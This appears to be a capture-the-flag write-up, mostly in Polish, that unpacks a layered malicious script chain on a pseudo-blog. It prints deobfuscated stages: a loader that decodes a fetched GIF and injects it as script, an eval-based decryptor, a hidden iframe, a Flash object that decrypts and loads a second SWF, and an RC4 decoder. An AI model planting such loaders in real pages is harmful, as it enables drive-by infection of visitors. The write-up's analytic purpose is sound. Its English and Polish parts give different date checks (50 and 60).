This is code after *serious* deobfuscation - originally all names was obfuscated and there were no human-readable strings. As you can see, data is encrypted with current data, but luckili there was another check - month * day == 50 - that reduced number of possibilities to check to only few. Thanks to this, I could check every possibility by hand, and I got this:
```javasctiptvar data="NQn5pSETMmg6ysiZ7M7kImT1fb0cNrAV3cutq3Ht17idKv4......"var key="nky";var str=window.atob(data);var s=[], j=0, x, res='';for (var i=0; i<256; i++) {s[i]=i;};for (i=0; i<256; i++) {j=(j+s[i]+key.charCodeAt(i % key.length)) % 256;x=s[i];s[i]=s[j];s[j]=x;};i=0;j=0;for (var y=0; y<str.length; y++) {i=(i+1) % 256;j=(j+s[i]) % 256;x=s[i];s[i]=s[j];s[j]=x;res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i]+s[j]) % 256]);};document.write('<img src="data:image/gif;base64,'+res+'" width="0" height="0">');```
This code is after minimal deobfuscation. I had problems with executing this code (it showed me empty page and nothing more), but luckily friend from team executed this code and volia, we get the flag:
###PL version
Wchodzimy na stronę na której na pierwszy rzut oka nic nie ma (pseudo-blog). Rzuca się w oczy jedynie jakiś javascript na dole strony (nazwany "ads.js"). Po deobfuskacji wyglądał mniej więcej tak:
```javascriptvar mnt = function() { window.host = location.host; window.scheme = 'http://'; window.getLicenseUrl = function() { console.log('getting lic url') var ax = document.getElementsByTagName('img'); for (var i = 0; i < ax.length; i++) { if (-1 < ax[i].src.indexOf(host)) { return "http://" + host + "/images/creature.html?adv=900485&o=7927932&m=844431838&creature=629999&yf=INfzIJzt9bRSOkjD&click=${CLICK_URL_ENC}&type=js&pub=openxnat_1569894390&ord=1450370740864"; } } }; callbackOnLoad = function() { console.log('callback'); var ax = xtr.responseText, mn = '/1/', cm = '%'; var data = unescape(ax.substr(3 + ax.indexOf(mn)).replace(/[\S]{3}/g, function(b) { return cm + String.fromCharCode(b.charCodeAt(1) ^ ((scheme.length+1) * 6)) + b[2]; })); var sta = document.createElement('sc' + 'rip' + 't'); sta.innerHTML = data; document.body.appendChild(sta); }; licenseRequest = function(command) { try { console.log('lic request'); new ActiveXObject(command).GetLicenseFromURL([], getLicenseUrl().replace(scheme, 'http://')) } catch (et) { return et.number + '' } }; suspicious = function() { with (xtr = (window.XDomainRequest && (new XDomainRequest) || (new XMLHttpRequest))) open('get', scheme + host + '/images/9J2bkcUJHUTTnOmcd56DXVmz.gif' + '?t=' + (new Date).getTime() + '&id=M8XIgp9526a9'), onload = callbackOnLoad, send() }; document.security && 1 && suspicious();};mnt();```
Były jeszcze mniej ciekawe fragmenty, oraz sprawdzanie licencji przy pomocy funkcji `licenseRequest` (które wyciąłem żeby przejść dalej). Swoją drogą, kod miał szanse zadziałać tylko na IE (z uwagi na użycie ActiveXObject).
Tak czy inaczej, widać że ostatecznie tworzony jest element script, do którego są wrzucane jakieś zdeszyfrowane dane (pobierane z jakiegoś gifa), i który jest dorzucany do kodu strony i wykonywany.Najpierw próbowałem ręcznie przepisać odszyfrowanie tych danych do pythona (co nie było trudne), ale po chwili zdecydowałem się na prostsze rozwiązanie - po prostu podmieniłem linijkę `sta.innerHTML = data` na `console.log(data)`.Dzięki temu przeszliśmy do drugiego stage.
Wyglądał on mniej-więcej tak:
```javascriptfunction getA(key) { return "3789d132";}function getB(key) { return "111780a7";}function getC(key) { return "fbff29";}function getD(key) { return "b2914faca2";}
function main(func, idToProcess) { func(idToProcess)}var LvPmn, BisnmljH, window, JEUMZ;
gWRqmBVp = 'd';
var realMain = (function(idToProcess) { TOu8g = kode; UA = 'asdfasdfasdf'; if ((/(MSIE\ [0-7]\.\d+)/).test(UA)) { TOu8g = TOu8g.slice(0, -1); } TOu8g = TOu8g['replace'](/\s/g, ''); plZla = kfSH(TOu8g, LvPmn);
delete TOu8g; TOu8g = ""; eval(plZla); });LvPmn = 'oXUX5XqXRXoXGXfX';
function kfSH(YP, sr4ze) { var YLvEoLp = ""; for (var i = 0; i < YP.length / 16; i++) { var HQDBqAdIqAP = RZTN(YP.substr((i*16), (i+1)*16), sr4ze); YLvEoLp += uyGi(parseInt(HQDBqAdIqAP.substr(8,8),16)) + uyGi(parseInt(HQDBqAdIqAP.substr(0,8),16));
} return unescape(YLvEoLp);}
function RZTN(SKOx, GHk7) { ret = ""; for (var i = 0; i < SKOx.length; i+=2) { ret += (parseInt(SKOx.charAt(i) + SKOx.charAt(i+1), 16) ^ GHk7.charCodeAt(i)).toString(16); } return ret;}
function tPC(nojMia) { var SKOx = nojMia.charCodeAt(0) + (nojMia.charCodeAt(1) << 8) + (nojMia.charCodeAt(2) << 16) + (nojMia.charCodeAt(3) << 24); return isNaN(SKOx) ? 0 : SKOx;}
function uyGi(SKOx) { var nojMia = String.fromCharCode(SKOx & 255, SKOx >> 8 & 255, SKOx >> 16 & 255, SKOx >> 24 & 255); return nojMia;}
main(realMain, 'oU5qRoGfenAszlAOKYBE')```
To kod już po mojej częściowej deobfuskacji (zmiana nazw kilku funkcji, beautifikacja, etc) i wycięciu checków. Tutaj podobnie jak w poprzednim przypadku, wystarczyło wyciąć kilka checków i dodać `console.log(plZla)` zamiast `eval(plZla)`.Dzięki temu otrzymałem kolejny stage.
```javascriptif (document.referrer != "") { var iframe = document.createElement("iframe"); iframe.src = "depress-choose-opportunity-staircase.html"; iframe.frameBorder = 0; iframe.width = "1"; iframe.height = "1"; document.body.appendChild(iframe);};```
(To kod po deobfuskacji). Jak widać, po prostu tworzony jest iframe w który wstrzykiwane jest `depress-choose-opportunity-staircase.html`.
Co znajudje się pod tym adresem?
Mniej więcej taki kod:
```javascript
window['gWRqmBVp'] = '1';
function xWait(xT) { var date = new Date(); var tmpDate = null; do { tmpDate = new Date(); } while (tmpDate - date < xT);}
function xTrueA() { if (navigator.userAgent.indexOf('TMCTF') == -1 && navigator.appVersion.indexOf('ctf/') == -1) { return; } if (!!window.__IE_DEVTOOLBAR_CONSOLE_COMMAND_LINE || ('__BROWSERTOOLS_CONSOLE_SAFEFUNC' in window)) { return; } var mirtul = '1', ci = 'clsid:'; var txt = '<object classid="' + ci + 'd27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess="always" width="1" height="1" id="23kjsdf">'; txt = txt + '<param name="movie" value="swf/YWxUdHVpZm9uaQbmV6dndo.swf" />'; txt = txt + '<param name="play" value="true"/>'; txt = txt + '<param name="FlashVars" value="a=' + getA("EkRlsOP") + '&b=' + getB("KslLNbQsY") + '&c=' + getC("MpRuyAZx") + '&d=' + getD("QetIoPZ") + '" />'; txt = txt + ''; txt = txt + '<object type="application/x-shockwave-flash" data="swf/YWxUdHVpZm9uaQbmV6dndo.swf" allowScriptAccess=always width="1" height="1">'; txt = txt + '<param name="movie" value="swf/YWxUdHVpZm9uaQbmV6dndo.swf" />'; txt = txt + '<param name="play" value="true"/>'; txt = txt + '<param name="FlashVars" value="a=' + getA("EkRlsOP") + '&b=' + getB("KslLNbQsY") + '&c=' + getC("MpRuyAZx") + '&d=' + getD("QetIoPZ") + '" />'; txt = txt + ''; txt = txt + '</object>'; txt = txt + '</object>'; try {; } catch (e) {} document.getElementsByTagName("q")[2].innerHTML = txt;}xTrueA();xWait(1200);```
(To kod po deobfuskacji. Jak widać, jest wstrzykiwany *kolejny* javascript. Znowu jakieś checki (które wyciąłem), a ostatecznie tworzony jest jakiś `<object>` zawierający flasha.
Pobrałem więc tego flasha i zdekompilowałem. Najciekawszy fragment poniżej:
```actionscriptpackage tmctf { import flash.events.*; import flash.utils.*; import flash.display.*;
public class Main extends Sprite {
private var lIIl11l:Class;
public function Main(){ this.lIIl11l = Main_lIIl11l; super(); if (stage){ this.init(); } else { addEventListener(Event.ADDED_TO_STAGE, this.init); }; } private function init(_arg1:Event=null):void{ var _local2:Object = LoaderInfo(this.root.loaderInfo).parameters.a; var _local3:Object = LoaderInfo(this.root.loaderInfo).parameters.b; var _local4:Object = LoaderInfo(this.root.loaderInfo).parameters.c; var _local5:Object = LoaderInfo(this.root.loaderInfo).parameters.d; var _local6:String = (((_local4.toString() + _local3.toString()) + _local5.toString()) + _local2.toString()); var _local7:ByteArray = (new this.lIIl11l() as ByteArray); var _local8:ByteArray = lI11lI.l1l1lI(_local7, _local6); this.removeEventListener(Event.ADDED_TO_STAGE, this.init); var _local9 = "flash.display.Loader"; var _local10:Class = (getDefinitionByName(_local9) as Class); var _local11:Loader = new (_local10)(); _local11.loadBytes(_local8); addChild(_local11); }
}}//package tmctf
package tmctf { import mx.core.*;
public class Main_lIIl11l extends ByteArrayAsset {
}}//package tmctf
package tmctf { import flash.utils.*;
public class lI11lI {
public static function l1I1lI(_arg1:int):String{ var _local2 = ""; if (_arg1 == 1){ _local2 = "6l.6o3a3d63.B3.y6t263.e5s6"; }; if (_arg1 == 2){ _local2 = "2a.7d6d6.C23h3i.34l6d6"; }; if (_arg1 == 3){ _local2 = "2r4.e6m3.o4v63e3E4v6e3n5t3L6.i3s6t3.4e6n4e3r6"; }; if (_arg1 == 4){ _local2 = "6w3.4r7..i4t6e4.B6y.3t43e5"; }; if (_arg1 == 5){ _local2 = "6p6.3o6s4i6t4i6.o6n"; }; if (_arg1 == 8){ _local2 = "6l2e6n6.g4t4.3h6"; }; if (_arg1 == 9){ _local2 = "3c6h4a..36r34C6o6d34e6A.43t6"; }; return (_local2.replace(new RegExp("[(1)\\(2)\\(3)\\(4)\\(5)\\(6)\\(7)\\(8)\\(9)\\(0)\\.]", "g"), "")); } public static function l1l1lI(_arg1:ByteArray, _arg2:String):ByteArray{ var _local9:int; var _local3:* = 0; var _local4:ByteArray = new ByteArray(); var _local5:String = l1I1lI(4); var _local6:String = l1I1lI(5); var _local7:String = l1I1lI(8); var _local8:String = l1I1lI(9); _local3 = 0; while (_local3 < _arg1[_local7]) { if (_local3 > (_arg2[_local7] - 1)){ _arg2 = (_arg2 + _arg2); }; _local9 = (_arg1[_local3] ^ _arg2[_local8](_local3)); var _local10 = _local4; _local10[_local5](_local9); _local3++; }; _local4[_local6] = 0; return (_local4); }
}}//package tmctf```
Tutaj obfuskacja poziom wyżej - np. stringi są obfuskowane (w prosty sposób - funkcja l1I1lI usuwa po prostu wszystkie cyfry ze stringa, czyli np. "6l.6o3a3d63.B3.y6t263.e5s6" zamienia się w "loadBytes"), oraz wywołania funkcjii odwołania do atrybutów są obuskowane (np. xxx.length jest zamieniane na xxx['length'], a po połączeniu obu technik na xxx[l1I1lI("6l2e6n6.g4t4.3h6")].
Tak czy inaczej, ostatecznie główna pętla wykonuje xorowanie bloba wyciągniętego z resourców z kluczem (klucz jest równy getA() + getB() + getC() + getD() z poprzedniego stage).
Wykonałem to samo, i otrzymałem... kolejny swf. Zdekompilowałem i jego;
```actionscriptYOLO = function() { var vrsntk = "Akstoniskrov"; var aeiVra = "saKrXVoiceda"; var createTi = "wisTtentgaoemric"; var mLtoonq = "qdnpokostELim"; var getDate = "TettnagDotmeig"; var getMonth = "ahsttnnogMotmeig"; var toString = "BgknUimrPtXSloot"; var length = "IhntAgenSeol"; var fromCharCode = "teodSotCrrianhgCFmroormf"; var eval = "Sloarvee"; function Main() { var currDate = new Date(); var someConst = 1862628783; var mnth = currDate[this.gs(getMonth)](); var dayy = currDate[this.gs(getDate)](); var modCurrMonth = 2; var modCurrDay = 30; var cheeeck = someConst[this.gs(toString)](2)[this.gs(length)] - 1; if(modCurrMonth * modCurrDay != cheeeck * 2) { console.log(modCurrMonth); console.log(modCurrDay); console.log(cheeeck * 2); console.log('nope'); //return; } var arrWIthData = [122,109,126,44,104,109,120,109,49,46,66,93,98,(..........a lot of numbers.........),60,46,50,43,37,55]; var resultxx = ""; var getChrCode = this.gs(fromCharCode); var indexl = 0; while(indexl < arrWIthData.length) { resultxx = resultxx + String[getChrCode](arrWIthData[indexl] ^ modCurrMonth + 1 ^ modCurrDay); indexl++; } ej(resultxx,this.gs(eval)); } function ej(param1, param2) { console.log(param2); console.log(param1); return; var _loc3_ = null; var _loc4_ = NaN; var _loc5_ = null; if(ExternalInterface.available) { _loc3_ = "s"; _loc5_ = "n" + _loc3_; _loc5_ = "n" + _loc3_; return ExternalInterface.call(param2,param1); } return ""; } function gs(param1) { var _loc2_ = ""; var _loc3_ = param1.length; while(_loc3_ > 0 / 2) { _loc2_ = _loc2_ + param1["charAt"](_loc3_ - 1); _loc3_ = _loc3_ - 2; } return _loc2_; }
Main()}
YOLO()```
(Tutaj wszystko już po SPOREJ deobfuskacji - oryginalnie nie było żadnych czytelnych dla człowieka stringów, wszystkie były zaszyfrowane przy pomocy gs(). Dane były szyfrowane obecną datą, ale był na szczęście dodatkowy check - miesiąc * dzień był równy 60, co ograniczyło ilość dat do sprawdzenia do ledwo kilku. Dzięki temu mogłem ręcznie sprawdzić wszystkie, i otrzymałem kolejny stage.
```javasctiptvar data="NQn5pSETMmg6ysiZ7M7kImT1fb0cNrAV3cutq3Ht17idKv4......"var key="nky";var str=window.atob(data);var s=[], j=0, x, res='';for (var i=0; i<256; i++) {s[i]=i;};for (i=0; i<256; i++) {j=(j+s[i]+key.charCodeAt(i % key.length)) % 256;x=s[i];s[i]=s[j];s[j]=x;};i=0;j=0;for (var y=0; y<str.length; y++) {i=(i+1) % 256;j=(j+s[i]) % 256;x=s[i];s[i]=s[j];s[j]=x;res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i]+s[j]) % 256]);};document.write('<img src="data:image/gif;base64,'+res+'" width="0" height="0">');```
(kod po minimalnej deobfuskacji). Miałem minimalny problem z uruchomieniem tego (pokazywało u mnie pustą stronę), ale na szcześćie kolega z drużyny wykonał ten kod i volia, otrzymaliśmy flagę. |
Subsets and Splits